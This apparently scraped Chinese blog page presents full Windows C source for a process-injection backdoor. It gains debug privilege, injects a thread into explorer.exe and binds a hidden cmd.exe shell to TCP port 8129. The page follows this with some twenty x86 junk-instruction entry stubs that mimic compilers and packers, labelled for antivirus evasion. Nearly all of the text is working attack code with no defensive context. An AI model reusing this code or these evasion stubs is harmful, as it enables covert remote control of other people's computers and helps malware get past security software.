长啊

    技术2022-05-20  44

    #include<winsock2.h>#pragma comment(lib,"ws2_32.lib")#include<windows.h>#include <Shlwapi.h>#pragma comment(lib,"Shlwapi.lib")#include <tlhelp32.h>#include <stdio.h>#include <string.h>

    //参数结构 ; typedef struct _RemotePara{ DWORD dwLoadLibrary;DWORD dwFreeLibrary;DWORD dwGetProcAddress;DWORD dwGetModuleHandle;DWORD dwWSAStartup;DWORD dwSocket;DWORD dwhtons;DWORD dwbind;DWORD dwlisten;DWORD dwaccept;DWORD dwsend;DWORD dwrecv;DWORD dwclosesocket;DWORD dwCreateProcessA;DWORD dwPeekNamedPipe;DWORD dwWriteFile;DWORD dwReadFile;DWORD dwCloseHandle;DWORD dwCreatePipe;DWORD dwTerminateProcess;DWORD dwMessageBox;

    char strMessageBox[12];char winsockDll[16];char cmd[10];char Buff[4096];char telnetmsg[60];}RemotePara;

    // 提升应用级调试权限BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);  // 根据进程名称得到进程IDDWORD GetPidByName(char *szName);

    // 远程线程执行体DWORD __stdcall ThreadProc(RemotePara *Para){WSADATA WSAData;WORD nVersion;SOCKET listenSocket;SOCKET clientSocket;

    struct sockaddr_in server_addr;struct        sockaddr_in client_addr;

    int iAddrSize = sizeof(client_addr);

    SECURITY_ATTRIBUTES sa;

    HANDLE hReadPipe1;HANDLE hWritePipe1;HANDLE hReadPipe2;HANDLE hWritePipe2;

    STARTUPINFO si;PROCESS_INFORMATION ProcessInformation;unsigned long lBytesRead = 0;

    typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);

    FARPROC PMessageBoxA;FARPROC PWSAStartup;FARPROC PSocket;FARPROC Phtons;FARPROC Pbind;FARPROC Plisten;FARPROC Paccept;FARPROC Psend;FARPROC Precv;FARPROC Pclosesocket;FARPROC PCreateProcessA;FARPROC PPeekNamedPipe;FARPROC PWriteFile;FARPROC PReadFile;FARPROC PCloseHandle;FARPROC PCreatePipe;FARPROC PTerminateProcess;

    PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary;PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress;PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwFreeLibrary;PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle;

    LoadLibraryFunc(Para->winsockDll);

    PWSAStartup = (FARPROC)Para->dwWSAStartup;PSocket    = (FARPROC)Para->dwSocket;Phtons        = (FARPROC)Para->dwhtons;Pbind       = (FARPROC)Para->dwbind;Plisten    = (FARPROC)Para->dwlisten;Paccept    = (FARPROC)Para->dwaccept;Psend       = (FARPROC)Para->dwsend;Precv       = (FARPROC)Para->dwrecv;Pclosesocket   = (FARPROC)Para->dwclosesocket;PCreateProcessA = (FARPROC)Para->dwCreateProcessA;PPeekNamedPipe     = (FARPROC)Para->dwPeekNamedPipe;PWriteFile       = (FARPROC)Para->dwWriteFile;PReadFile       = (FARPROC)Para->dwReadFile;PCloseHandle    = (FARPROC)Para->dwCloseHandle;PCreatePipe        = (FARPROC)Para->dwCreatePipe;PTerminateProcess   = (FARPROC)Para->dwTerminateProcess;PMessageBoxA    = (FARPROC)Para->dwMessageBox;

    nVersion = MAKEWORD(2,1);PWSAStartup(nVersion, (LPWSADATA)&WSAData);listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);if(listenSocket == INVALID_SOCKET)return 0;

    server_addr.sin_family    = AF_INET;server_addr.sin_port        = Phtons((unsigned short)(8129));server_addr.sin_addr.s_addr = INADDR_ANY;

    if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;if(Plisten(listenSocket, 5))return 0;clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize);// Psend(clientSocket, Para->telnetmsg, 60, 0);

    if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;

    ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用si.dwFlags     = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.hStdInput = hReadPipe2;si.hStdOutput   = si.hStdError = hWritePipe1;

    if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return 0;while(1) {   memset(Para->Buff,0,4096);   PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0);   if(lBytesRead) {if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break;if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;   }else {lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0);if(lBytesRead <=0 ) break;if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;   }}

    PCloseHandle(hWritePipe2);PCloseHandle(hReadPipe1);PCloseHandle(hReadPipe2);PCloseHandle(hWritePipe1);Pclosesocket(listenSocket);Pclosesocket(clientSocket);

    // PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);

    return 0; }

    int APIENTRY WinMain(HINSTANCE hInstance,                  HINSTANCE hPrevInstance,                  LPSTR     lpCmdLine,                  int    nCmdShow){ const DWORD THREADSIZE=1024*4;DWORD byte_write; void *pRemoteThread;HANDLE hToken,hRemoteProcess,hThread;HINSTANCE hKernel,hUser32,hSock;RemotePara myRemotePara,*pRemotePara; DWORD pID;

    OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);

    // 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESSpID = GetPidByName("EXPLORER.EXE");if(pID == 0)return 0;hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID); if(!hRemoteProcess)return 0;

    // 在远程进程地址空间分配虚拟内存pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);if(!pRemoteThread)return 0;

    // 将线程执行体ThreadProc写入远程进程if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;

    ZeroMemory(&myRemotePara,sizeof(RemotePara)); hKernel = LoadLibrary( "kernel32.dll"); myRemotePara.dwLoadLibrary    = (DWORD)GetProcAddress(hKernel, "LoadLibraryA"); myRemotePara.dwFreeLibrary    = (DWORD)GetProcAddress(hKernel, "FreeLibrary");myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");myRemotePara.dwGetModuleHandle   = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");

    myRemotePara.dwCreateProcessA     = (DWORD)GetProcAddress(hKernel, "CreateProcessA");myRemotePara.dwPeekNamedPipe    = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");myRemotePara.dwWriteFile       = (DWORD)GetProcAddress(hKernel, "WriteFile");myRemotePara.dwReadFile           = (DWORD)GetProcAddress(hKernel, "ReadFile");myRemotePara.dwCloseHandle        = (DWORD)GetProcAddress(hKernel, "CloseHandle");myRemotePara.dwCreatePipe       = (DWORD)GetProcAddress(hKernel, "CreatePipe");myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");

    hSock = LoadLibrary("wsock32.dll");myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");myRemotePara.dwSocket    = (DWORD)GetProcAddress(hSock,"socket");myRemotePara.dwhtons        = (DWORD)GetProcAddress(hSock,"htons");myRemotePara.dwbind       = (DWORD)GetProcAddress(hSock,"bind");myRemotePara.dwlisten    = (DWORD)GetProcAddress(hSock,"listen");myRemotePara.dwaccept    = (DWORD)GetProcAddress(hSock,"accept");myRemotePara.dwrecv       = (DWORD)GetProcAddress(hSock,"recv");myRemotePara.dwsend       = (DWORD)GetProcAddress(hSock,"send");myRemotePara.dwclosesocket   = (DWORD)GetProcAddress(hSock,"closesocket");

    hUser32 = LoadLibrary("user32.dll");myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");

    strcat(myRemotePara.strMessageBox,"Sucess!//0"); strcat(myRemotePara.winsockDll,"wsock32.dll//0"); strcat(myRemotePara.cmd,"cmd.exe//0"); strcat(myRemotePara.telnetmsg,"Connect Sucessful!//n//0");

    //写进目标进程 pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);if(!pRemotePara)return 0; if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;

    // 启动线程 hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write); while(1) {}FreeLibrary(hKernel);FreeLibrary(hSock);FreeLibrary(hUser32);CloseHandle(hRemoteProcess);CloseHandle(hToken);

    return 0; }

    BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid);tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);return((GetLastError() == ERROR_SUCCESS));}

    DWORD GetPidByName(char *szName){HANDLE hProcessSnap = INVALID_HANDLE_VALUE;PROCESSENTRY32 pe32={0};DWORD dwRet=0;

    hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;

    pe32.dwSize = sizeof(PROCESSENTRY32);if(Process32First(hProcessSnap, &pe32)){   do   {if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0){dwRet=pe32.th32ProcessID;break;}   }while (Process32Next(hProcessSnap,&pe32));}else return 0;

    if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);return dwRet;

    1.伪装vc++5.0代码:PUSH EBP  MOV EBP,ESP  PUSH -1  push 415448   -/___PUSH 4021A8   -/   在这段代码中类似这样的操作数可以乱填  MOV EAX,DWORD PTR FS:[0]  PUSH EAX  MOV DWORD PTR FS:[0],ESP  ADD ESP,-6C  PUSH EBX  PUSH ESI  PUSH EDI  ADD BYTE PTR DS:[EAX],AL   /这条指令可以不要!jmp 原入口地址

    ************************************************************************2.胡乱跳转代码:noppush ebpmov ebp,espinc ecxpush edxnoppop edxdec ecxpop ebpinc ecxloop somewhere   /跳转到上面那段代码地址去! 

    somewhere:  nop   /"胡乱"跳转的开始...jmp 下一个jmp的地址   /在附近随意跳jmp ...   /...jmp 原入口地址   /跳到原始oep

    90 55 8B EC 41 52 90 5A 49 5D 41

    转储免杀

    ************************************************************************3.伪装c++代码:push ebpmov ebp,esppush -1push 111111push 222222mov eax,fs:[0]push eaxmov fs:[0],esppop eaxmov fs:[0],eaxpop eaxpop eaxpop eaxpop eaxmov ebp,eaxjmp 原入口地址

    ************************************************************************4.伪装Microsoft Visual C++ 6.0代码:

    PUSH -1PUSH 0PUSH 0MOV EAX,DWORD PTR FS:[0]PUSH EAXMOV DWORD PTR FS:[0],ESPSUB ESP,68PUSH EBXPUSH ESIPUSH EDIPOP EAXPOP EAXPOP EAXADD ESP,68POP EAXMOV DWORD PTR FS:[0],EAXPOP EAXPOP EAXPOP EAXPOP EAXMOV EBP,EAXJMP 原入口地址

    push ebpmov ebp,espjmp

    ************************************************************************5.伪装防杀精灵一号防杀代码:push ebpmov ebp,esppush -1push 666666push 888888mov eax,dword ptr fs:[0]push eaxmov dword ptr fs:[0],esppop eaxmov dword ptr fs:[0],eaxpop eaxpop eaxpop eaxpop eaxmov ebp,eaxjmp 原入口地址

    ************************************************************************6.伪装防杀精灵二号防杀代码:push ebpmov ebp,esppush -1push 0push 0mov eax,dword ptr fs:[0]push eaxmov dword ptr fs:[0],espsub esp,68push ebxpush esipush edipop eaxpop eaxpop eaxadd esp,68pop eaxmov dword ptr fs:[0],eaxpop eaxpop eaxpop eaxpop eaxmov ebp,eaxjmp 原入口地址

    ************************************************************************7.伪装木马彩衣(无限复活袍)代码:PUSH EBP  MOV EBP,ESP  PUSH -1  push 415448   -/___PUSH 4021A8   -/   在这段代码中类似这样的操作数可以乱填  MOV EAX,DWORD PTR FS:[0]  PUSH EAX  MOV DWORD PTR FS:[0],ESP  ADD ESP,-6C  PUSH EBX  PUSH ESI  PUSH EDI  ADD BYTE PTR DS:[EAX],AL   /这条指令可以不要!jo 原入口地址jno 原入口地址call 下一地址

    ************************************************************************8.伪装木马彩衣(虾米披风)代码:push ebpnopnopmov ebp,espinc ecxnoppush edxnopnoppop edxnoppop ebpinc ecxloop somewhere /跳转到下面那段代码地址去!

    someshere:nop   /"胡乱"跳转的开始...jmp 下一个jmp的地址   /在附近随意跳jmp ...   /...jmp 原入口的地址   /跳到原始oep

    9.伪装花花添加器(神话)代码:-----------根据C++改nopnopnopmov ebp,esppush -1push 111111push 222222mov eax,dword ptr fs:[0]push eaxmov dword ptr fs:[0],esppop eaxmov dword ptr fs:[0],eaxpop eaxpop eaxpop eaxpop eaxmov ebp,eaxmov eax,原入口地址push eaxretn

    ************************************************************************10.伪装花花添加器(无极)代码:nopmov   ebp, esppush   -1push   0A2C2Apush   0D9038mov   eax, fs:[0]push   eaxmov   fs:[0], esppop   eaxmov   fs:[0], eaxpop   eaxpop   eaxpop   eaxpop   eaxmov   ebp, eaxmov   eax, 原入口地址jmp   eax

    ************************************************************************11.伪装花花添加器(金刚)代码:--------根据VC++5.0改nopnopmov   ebp, esppush   -1push   415448push   4021A8 mov   eax, fs:[0]push   eaxmov   fs:[0], espadd   esp, -6Cpush   ebxpush   esipush   ediadd   [eax], almov   eax,原入口地址jmp   eax

    ************************************************************************12.伪装花花添加器(杀破浪)代码:nopmov   ebp, esppush   -1push   0push   0mov   eax, fs:[0]push   eaxmov   fs:[0], espsub   esp, 68push   ebxpush   esipush   edipop   eaxpop   eaxpop   eaxadd   esp, 68pop   eaxmov   fs:[0], eaxpop   eaxpop   eaxpop   eaxpop   eaxmov   ebp, eaxmov   eax, 原入口地址jmp   eax

    ************************************************************************12.伪装花花添加器(痴情大圣)代码:nop..........省略N行nopnoppush   ebpmov   ebp, espadd   esp, -0Cadd   esp, 0Cmov   eax, 原入口地址push   eaxretn

    ************************************************************************13.伪装花花添加器(如果*爱)代码:nop........省略N行nopnoppush   ebpmov   ebp, espinc   ecxpush   edxnoppop   edxdec   ecxpop   ebpinc   ecxmov   eax, 原入口地址jmp   eax

    ************************************************************************14.伪装PEtite 2.2 -> Ian Luck代码:mov eax,0040E000push 004153F3push dword ptr fs:[0]mov dword ptr fs:[0],esppushfwpushadpush eaxxor ebx,ebxpop eaxpopadpopfwpop dword ptr fs:[0]pop eaxjmp 原入口地址   '执行到程序的原有OEP

    ************************************************************************15.无效PE文件代码:push ebp  mov ebp,espinc ecxpush edxnoppop edxdec ecxpop ebpinc ecxMOV DWORD PTR FS:[0],EAX   /POP EAX   | POP EAX   /MOV DWORD PTR FS:[0],EAX   |(注意了。。花指令)POP EAX   / POP EAX   |MOV DWORD PTR FS:[0],EAX   /loop 原入口地址

    ************************************************************************16.伪装防杀精灵终极防杀代码:push ebpmov ebp,espadd esp,-0Cadd esp,0Cpush eaxjmp 原入口地址

    ************************************************************************17.伪装木马彩衣(金色鱼锦衣)花代码push ebpmov ebp,espadd esp,-0Cadd esp,0Cmov eax,原入口地址push eaxretn

    ************************************************************************18.在mov ebp,eax后面加上PUSH EAX POP EAX

    ************************************************************************19.伪装UPX花指令代码:

    pushadmov esi,m.0044D000lea edi,dword ptr ds:[esi+FFFB4000]push edior ebp,FFFFFFFFjmp short m.00477F2A

    ************************************************************************20.push ebp mov ebp,esp inc ecx push edx pop edx dec ecx pop ebp inc ecx jmp 原入口

    ************************************************************************


    最新回复(0)